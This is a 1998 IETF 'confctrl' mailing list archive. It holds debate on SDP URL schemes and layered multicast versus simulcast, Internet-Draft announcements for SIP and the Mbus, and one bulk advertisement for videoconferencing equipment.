Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian;

> On the other hand, defining an RTP URL could make sense.  There is a 
> clear relation between the pointer (an address and a port) and the
> value (a media stream).  The number of attributes is moderate.

If I remember it correctly, it was Mark who said RTP URL is
not a good idea becasue sessions may consists of multiple
protocols, not necessarily RTP ones.

> I think that Mark is right.

Maybe.

> URL
> are supposedly pointers to a value;

A URL is a pointer to resource.

> you don't encode the actual value
> inside the pointer.

Of course.

All we need is information to identify resource type and to locate
the resource.

For sessions, IP addresse, port, duration and encodings are essential
information.

I think most (if not all) extra information, such as that for human
friendlyness, which may be contained in original SDP, should be dropped
in SDP URLs.

							Masataka Ohta

From confctrl-owner  Mon Aug 10 22:51:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA28400
	for confctrl-outgoing; Mon, 10 Aug 1998 22:51:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA28394
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 22:51:28 -0700 (PDT)
Received: from basil.cdt.luth.se (root@basil.cdt.luth.se [130.240.64.67])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA18726;
	Mon, 10 Aug 1998 22:51:24 -0700 (PDT)
Received: from salt (peppar@salt.cdt.luth.se [130.240.64.42]) by basil.cdt.luth.se (8.8.8/8.7.3) with ESMTP id HAA28280; Tue, 11 Aug 1998 07:50:56 +0200 (MET DST)
Message-Id: <199808110550.HAA28280@basil.cdt.luth.se>
X-Mailer: exmh version 2.0.2 2/24/98
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
cc: mjh@ISI.EDU (Mark Handley), magician@kuis.kyoto-u.ac.jp, confctrl@ISI.EDU
Subject: Re: SDP URL Scheme 
In-reply-to: Your message of "Tue, 11 Aug 1998 13:20:07 +0200."
             <199808110420.NAA04698@necom830.hpcl.titech.ac.jp> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 11 Aug 1998 07:50:56 +0200
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


mohta@necom830.hpcl.titech.ac.jp said:
> It is a broken idea that a single multicast session use multiple
> multicast groups.

How about sessions using layered distribution schemes for audio or video? They 
need multiple mcast groups per session or do you see that as multiple sessions 
as well?

/P




From confctrl-owner  Mon Aug 10 23:56:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA29540
	for confctrl-outgoing; Mon, 10 Aug 1998 23:56:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA29535
	for <confctrl@zephyr.isi.edu>; Mon, 10 Aug 1998 23:56:33 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA22302;
	Mon, 10 Aug 1998 23:56:28 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808110647.PAA05108@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id PAA05108; Tue, 11 Aug 1998 15:46:53 +0859
Subject: Re: SDP URL Scheme
To: peppar@cdt.luth.se (Peter Parnes)
Date: Tue, 11 Aug 98 15:46:52 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, mjh@ISI.EDU, magician@kuis.kyoto-u.ac.jp,
        confctrl@ISI.EDU
In-Reply-To: <199808110550.HAA28280@basil.cdt.luth.se>; from "Peter Parnes" at Aug 11, 98 7:50 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Peter;

> > It is a broken idea that a single multicast session use multiple
> > multicast groups.
> 
> How about sessions using layered distribution schemes for audio or video? They 
> need multiple mcast groups per session

Good point.

But I remember that there was a proposal in RSVP WG to distinguish
layered flows in a session by consequtive port numbers.

The problem is, then, whether we should prevent unnecessary layers
forwarded with best effort or not.

> or do you see that as multiple sessions 
> as well?

Not necessarily.

The question to be asked first is "Is layered encoding meaningful?
Is it meaningful to spend 6Mbps to send two layers of 1.5Mbps and
6Mbps pictures the latter of which has merely 5Mbps of quality?".

If the answer is "no", which is my answer, just have simulcasting of
multiple sessions.

							Masataka Ohta

From confctrl-owner  Tue Aug 11 00:20:40 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA29873
	for confctrl-outgoing; Tue, 11 Aug 1998 00:20:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA29868
	for <confctrl@zephyr.isi.edu>; Tue, 11 Aug 1998 00:20:39 -0700 (PDT)
Received: from basil.cdt.luth.se (root@basil.cdt.luth.se [130.240.64.67])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA26702;
	Tue, 11 Aug 1998 00:20:36 -0700 (PDT)
Received: from salt (peppar@salt.cdt.luth.se [130.240.64.42]) by basil.cdt.luth.se (8.8.8/8.7.3) with ESMTP id JAA00234; Tue, 11 Aug 1998 09:19:39 +0200 (MET DST)
Message-Id: <199808110719.JAA00234@basil.cdt.luth.se>
X-Mailer: exmh version 2.0.2 2/24/98
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
cc: mjh@ISI.EDU, magician@kuis.kyoto-u.ac.jp, confctrl@ISI.EDU
Subject: Re: SDP URL Scheme 
In-reply-to: Your message of "Tue, 11 Aug 1998 15:46:52 +0200."
             <199808110647.PAA05108@necom830.hpcl.titech.ac.jp> 
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Date: Tue, 11 Aug 1998 09:19:39 +0200
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> But I remember that there was a proposal in RSVP WG to distinguish
> layered flows in a session by consequtive port numbers.

Hmm, the layered flows have to be on different mcast groups or the whole idea 
is sort of wasted.

> If the answer is "no", which is my answer, just have simulcasting of
> multiple sessions.

I don't agree. Say we have a video stream divided into a number of layers. 
This would allow receivers to dynamically to receiver based congestion 
control. That is, when they notice that they have packet loss they just leave 
the least significant layer/s. This would increase the perceived quality for 
everybody!

On the other hand simulcast, would just increase the congestion. 

/P



From confctrl-owner  Tue Aug 11 00:42:32 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA00462
	for confctrl-outgoing; Tue, 11 Aug 1998 00:42:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA00457
	for <confctrl@zephyr.isi.edu>; Tue, 11 Aug 1998 00:42:30 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA27386;
	Tue, 11 Aug 1998 00:42:27 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808110733.QAA05232@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id QAA05232; Tue, 11 Aug 1998 16:32:58 +0859
Subject: Re: SDP URL Scheme
To: peppar@cdt.luth.se (Peter Parnes)
Date: Tue, 11 Aug 98 16:32:57 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, mjh@ISI.EDU, magician@kuis.kyoto-u.ac.jp,
        confctrl@ISI.EDU
In-Reply-To: <199808110719.JAA00234@basil.cdt.luth.se>; from "Peter Parnes" at Aug 11, 98 9:19 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Peter;

> > If the answer is "no", which is my answer, just have simulcasting of
> > multiple sessions.
> 
> I don't agree. Say we have a video stream divided into a number of layers. 
> This would allow receivers to dynamically to receiver based congestion 
> control. That is, when they notice that they have packet loss they just leave 
> the least significant layer/s. This would increase the perceived quality for 
> everybody!

It seems to me that you make a fundamental mistake here.

You assume, seemingly, that, without signaling, a session can enjoy a fair
share of the bandwidth. That's impossible, because, without signaling,
routers do not know which groups belong to a session. A less impossible,
though not easy nor meaningful, thing is to allocate each multicast
group fair share. But your assumption here is let a session have
multiple multicast groups.

If you allow signaling and complex prioritization of packets, that's
resource reservation.

So, please, simply assume resource reservation.

Anyway...

> On the other hand simulcast, would just increase the congestion. 

Assuming that session-wise loss-based flow control had worked,
simulcast were just as good as layered encoding to adaptively reduce
the amount of traffic.

The difference is that picture with 6Mbps unlayered encoding has
better quality than that with 6Mbps layered encoding.

							Masataka Ohta

From confctrl-owner  Tue Aug 11 08:43:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA07947
	for confctrl-outgoing; Tue, 11 Aug 1998 08:43:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07942
	for <confctrl@zephyr.isi.edu>; Tue, 11 Aug 1998 08:43:46 -0700 (PDT)
Received: from vcoutlet.com (icihs1.icih.net [208.218.252.100])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA24776;
	Tue, 11 Aug 1998 08:43:44 -0700 (PDT)
Date: Tue, 11 Aug 1998 08:43:44 -0700 (PDT)
From: dsteele@vcoutlet.com
Message-Id: <199808111543.IAA24776@tnt.isi.edu>
To: dsteele@vcoutlet.com
Subject: Videoconferencing Outlet
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

     Hello,

             I know that most of us hate recieving unwated e-mails from people  trying to sell a product. But if you are in the market for, or are planning on getting in the market for videoconferencing products I have the site for you. Imagine purchasing all of your equipment at the lowest prices possible, without having to deal with pushy vendors. Or being able to have the products you want, and need shipped directly to you without having to leave your desk. That is what I can offer you today, completesatisfaction at an unbeatable price. Feel free to compare the price we offer with that of your current vendor, surely there's no comparison.

Now all thats left is for you to open your favorite internet browser and point it to:

HTTP://www.vcoutlet.com/

Thank you for your time, and I hope you enjoy your savings.
________________________________________________
This Message was Composed using Extractor Pro '98 Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.



From confctrl-owner  Tue Aug 11 17:27:20 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA25291
	for confctrl-outgoing; Tue, 11 Aug 1998 17:27:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA25267
	for <confctrl@zephyr.isi.edu>; Tue, 11 Aug 1998 17:27:17 -0700 (PDT)
Received: from gumby.CS.Berkeley.EDU (gumby.CS.Berkeley.EDU [128.32.32.38])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA29829
	for <confctrl@ISI.EDU>; Tue, 11 Aug 1998 17:27:16 -0700 (PDT)
Received: from quimby.cs.berkeley.edu (quimby.CS.Berkeley.EDU [128.32.131.169]) by gumby.CS.Berkeley.EDU (8.8.4/8.6.9) with ESMTP id RAA18980; Tue, 11 Aug 1998 17:26:51 -0700 (PDT)
Message-Id: <199808120026.RAA18980@gumby.CS.Berkeley.EDU>
X-Mailer: exmh version 1.6.9 8/22/96
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
cc: confctrl@ISI.EDU
Subject: Re: SDP URL Scheme 
Reply-To: Rowe@bmrc.berkeley.edu
In-reply-to: Your message of "Tue, 11 Aug 1998 15:46:52 +0200."
             <199808110647.PAA05108@necom830.hpcl.titech.ac.jp> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 11 Aug 1998 17:26:46 -0700
From: Larry Rowe <larry@bmrc.berkeley.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi -

Assigning and managing layered multicast addresses is non-trivial, 
particularly when you have groups of people in clusters of high bandwidth 
links joined to another cluster and there is a low bandwidth link between the 
clusters.  A Berkeley student, Andrew Swan, worked on this problem.  A paper 
co-authored by Swan, McCanne, and myself describing one solution will be 
presented at ACM MM '98 in Bristol England next month -- in fact, the paper 
won the "Best Paper Award" for the conference.  You can see an earlier draft 
of the paper at http://www.bmrc.berkeley.edu/papers/1998/148/148.html.

Personally, I think layered streams are very important for supporting the wide 
variability in networking and client devices and avoiding the "least common 
denominator" a/v stream.
	Larry
-- 
Professor Lawrence A. Rowe               Internet:  Rowe@BMRC.Berkeley.EDU
Computer Science Division - EECS         Phone: 510-642-5117
University of California, Berkeley       Fax: 510-642-5615
Berkeley, CA 94720-1776		 URL: http://www.bmrc.berkeley.edu/~larry



From confctrl-owner  Wed Aug 12 11:35:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA08232
	for confctrl-outgoing; Wed, 12 Aug 1998 11:35:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08227
	for <confctrl@zephyr.isi.edu>; Wed, 12 Aug 1998 11:35:22 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA00820
	for <confctrl@isi.edu>; Wed, 12 Aug 1998 11:35:17 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id OAA01163;
	Wed, 12 Aug 1998 14:34:42 -0400 (EDT)
Message-Id: <199808121834.OAA01163@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-08.txt,.ps
Date: Wed, 12 Aug 1998 14:34:42 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: J. Rosenberg, E. Schooler, H. Schulzrinne, M. Handley
	Filename	: draft-ietf-mmusic-sip-08.txt,.ps
	Pages		: 128
	Date		: 11-Aug-98
	
         The Session Initiation Protocol (SIP) is an application-
         layer control (signaling) protocol for creating,
         modifying and terminating sessions with one or more
         participants. These sessions include Internet multimedia
         conferences, Internet telephone calls and multimedia
         distribution. Members in a session can communicate via
         multicast or via a mesh of unicast relations, or a
         combination of these.
 
         SIP invitations used to create sessions carry session
         descriptions which allow participants to agree on a set
         of compatible media types. It supports user mobility by
         proxying and redirecting requests to the user's current
         location. Users can register their current location.  SIP
         is not tied to any particular conference control
         protocol. SIP is designed to be independent of the
         lower-layer transport protocol and can be extended with
         additional capabilities.
 
         This document is a product of the Multi-party Multimedia
         Session Control (MMUSIC) working group of the Internet
         Engineering Task Force.  Comments are solicited and
         should be addressed to the working group's mailing list
         at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-08.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-08.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-08.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980811154435.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-08.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-08.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980811154435.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Aug 12 12:03:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA08937
	for confctrl-outgoing; Wed, 12 Aug 1998 12:03:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA08931
	for <confctrl@zephyr.isi.edu>; Wed, 12 Aug 1998 12:03:19 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA04031
	for <confctrl@isi.edu>; Wed, 12 Aug 1998 12:03:17 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id PAA06646;
	Wed, 12 Aug 1998 15:02:41 -0400 (EDT)
Message-Id: <199808121902.PAA06646@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-transport-00.txt,.ps
Date: Wed, 12 Aug 1998 15:02:41 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: A Message Bus for Conferencing Systems
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-transport-00.txt,.ps
	Pages		: 17
	Date		: 11-Aug-98
	
   In a variety of scenarios, a local communication channel is desirable
   for conference-related information exchange between co-located but
   otherwise independent application entities, for example those taking
   part in application sessions that belong to the same conference.
   Such a mechanism allows for coordination of applications entities to
   e.g. implement synchronization between media streams or realize
   tightly coupled conferences.  The local conference Message Bus (Mbus)
   provides a means to achieve the necessary amount of coordination
   between co-located conferencing applications for virtually any type
   of conference.  The Message Bus comprises two logically distinct
   parts: a message transport and addressing infrastructure and a set of
   common as well as media tool specific messages. This documents deals
   with message addressing, transport, and security issues and defines
   the message syntax for the Mbus.  It does not define application
   oriented semantics and procedures for using the message bus.  The
   common procedures for Mbus operation as well as the common set of
   application/media specific messages are introduced in a companion
   Internet draft[9].
 
   This document is intended for discussion in the Multiparty Multimedia
   Session Control (MMUSIC) working group of the Internet Engineering
   Task Force.  Comments are solicited and should be addressed to the
   working group's mailing list at confctrl@isi.edu and/or the authors.


Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-transport-00.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980811100752.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-transport-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980811100752.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Aug 12 21:44:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA28300
	for confctrl-outgoing; Wed, 12 Aug 1998 21:44:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA28295
	for <confctrl@zephyr.isi.edu>; Wed, 12 Aug 1998 21:44:27 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA18628
	for <confctrl@ISI.EDU>; Wed, 12 Aug 1998 21:44:24 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199808130434.NAA10087@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id NAA10087; Thu, 13 Aug 1998 13:34:10 +0900
Subject: Re: SDP URL Scheme
To: Rowe@bmrc.berkeley.edu
Date: Thu, 13 Aug 98 13:34:10 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, confctrl@ISI.EDU
In-Reply-To: <199808120026.RAA18980@gumby.CS.Berkeley.EDU>; from "Larry Rowe" at Aug 11, 98 5:26 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Larry;

> Assigning and managing layered multicast addresses is non-trivial, 

Assigning and managing layered multicast addresses is as trivial as
assigning and managing a single multicast address.

> particularly when you have groups of people in clusters of high bandwidth 
> links joined to another cluster and there is a low bandwidth link between the 
> clusters.

If you assume SAP, which makes assignment and management of multicast
addresses non-trivial, everything is non-trivial, of course.

If not, the problem is already trivial and solved.

> A Berkeley student, Andrew Swan, worked on this problem.

He is unfortunate to be assigned such a misdirected task.

The solution to the SAP problems is to ignore SAP.

There is no point to slightly improve some of the scalability
problems of SAP.

> A paper 
> co-authored by Swan, McCanne, and myself describing one solution will be 
> presented at ACM MM '98 in Bristol England next month --

The basic problems of the paper are

	that there is no such layered encoding to allow meaningfully
	many layers.

	that it assumes SAP

> in fact, the paper 
> won the "Best Paper Award" for the conference.

Sigh...

OK. The paper may be a good paper as long as SAP framework is
assumed and layered encoding were meaningful.

However, the paper and the program committee needs a reality check.

							Masataka Ohta

From confctrl-owner  Sun Aug 16 23:02:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA13401
	for confctrl-outgoing; Sun, 16 Aug 1998 23:02:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA13396
	for <confctrl@zephyr.isi.edu>; Sun, 16 Aug 1998 23:02:02 -0700 (PDT)
Received: from anansi.w3.org (anansi.w3.org [18.29.0.201])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02408
	for <confctrl@isi.edu>; Sun, 16 Aug 1998 23:02:01 -0700 (PDT)
Received: from spiderman.w3.org (localhost [127.0.0.1])
	by anansi.w3.org (8.9.0/8.9.0) with SMTP id CAA28815;
	Mon, 17 Aug 1998 02:01:31 -0400 (EDT)
Message-Id: <3.0.5.32.19980816222459.008cc120@localhost>
X-Sender: frystyk@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Sun, 16 Aug 1998 22:24:59 -0400
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>,
        "Scott Petrack" <Scott_Petrack@vocaltec.com>
From: Henrik Frystyk Nielsen <frystyk@w3.org>
Subject: Re: Compressing SIP (and HTTP) to save bandwidth 
Cc: confctrl@ISI.EDU
In-Reply-To: <199808091654.SAA18244@www45.inria.fr>
References: <Your message of Sun, 09 Aug 1998 18:52:52 +0200.             <4225665B.005284AF.00@il4.vocaltec.co.il>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 18:54 8/9/98 +0200, Philipp Hoschka wrote:

>There will be a BOF on this in Chicago, and the http-ng documents
>are available as internet drafts

To follow up on Philipp's note, the page of the BOF can be found at

	http://www.w3.org/Protocols/HTTP-NG/1998/08/IETFBofAgenda.html

We have also some HTTP/1.1 related information on compression of the
payload and how this affects throughput on LAN, WAN, and PPP links:

	http://www.w3.org/Protocols/HTTP/Performance/#Compression
and
	http://www.w3.org/Protocols/HTTP/Performance/Pipeline.html

Thanks,

Henrik
--
Henrik Frystyk Nielsen,
World Wide Web Consortium
http://www.w3.org/People/Frystyk

From confctrl-owner  Mon Aug 17 06:20:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA22308
	for confctrl-outgoing; Mon, 17 Aug 1998 06:20:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA22303
	for <confctrl@zephyr.isi.edu>; Mon, 17 Aug 1998 06:20:10 -0700 (PDT)
Received: from arthur.axion.bt.co.uk (arthur.axion.bt.co.uk [132.146.5.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26346
	for <confctrl@isi.edu>; Mon, 17 Aug 1998 06:20:09 -0700 (PDT)
Received: from rambo (actually rambo.futures.bt.co.uk) 
          by arthur.axion.bt.co.uk (PP) with SMTP;
          Mon, 17 Aug 1998 14:18:49 +0100
Received: from mussel.futures.bt.co.uk (actually mussel) by rambo 
          with SMTP (PP); Mon, 17 Aug 1998 14:09:17 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) 
          id <01BDC9E7.C3B8ABD0@mussel.futures.bt.co.uk>;
          Mon, 17 Aug 1998 14:03:09 +0100
Message-ID: <c=GB%a=_%p=BT%l=HERCULES-980817130839Z-2405@mussel.futures.bt.co.uk>
From: Jerome Privat <jerome.privat@bt-sys.bt.co.uk>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: using SIP to advertise multiparty sessions
Date: Mon, 17 Aug 1998 14:08:39 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 10 TEXT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

As pointed out in Henning's and Jonathan's paper, Signaling for Internet
Telephony (http://www.cs.columbia.edu/~hgs/sip/papers.html), SIP could
be used to advertise multiparty sessions instead of using SAP.
A client could send a request using multicast and just indicate in the
Call-disposition header field that the servers must not answer.

In this case, do we still need SAP?

Jerome
BT Labs

From confctrl-owner  Tue Aug 18 20:03:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA06138
	for confctrl-outgoing; Tue, 18 Aug 1998 20:03:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA06133
	for <confctrl@zephyr.isi.edu>; Tue, 18 Aug 1998 20:03:19 -0700 (PDT)
Received: from mail1.andrew.cmu.edu (MAIL1.ANDREW.CMU.EDU [128.2.10.131])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA00334
	for <CONFCTRL@ISI.EDU>; Tue, 18 Aug 1998 20:03:18 -0700 (PDT)
Received: from tiburona (TIBURONA.INI.CMU.EDU [128.2.237.186]) by mail1.andrew.cmu.edu (8.8.5/8.8.2) with SMTP id XAA29309; Tue, 18 Aug 1998 23:03:16 -0400 (EDT)
Message-ID: <011f01bdcb1d$8e388200$baed0280@tiburona.ini.cmu.edu>
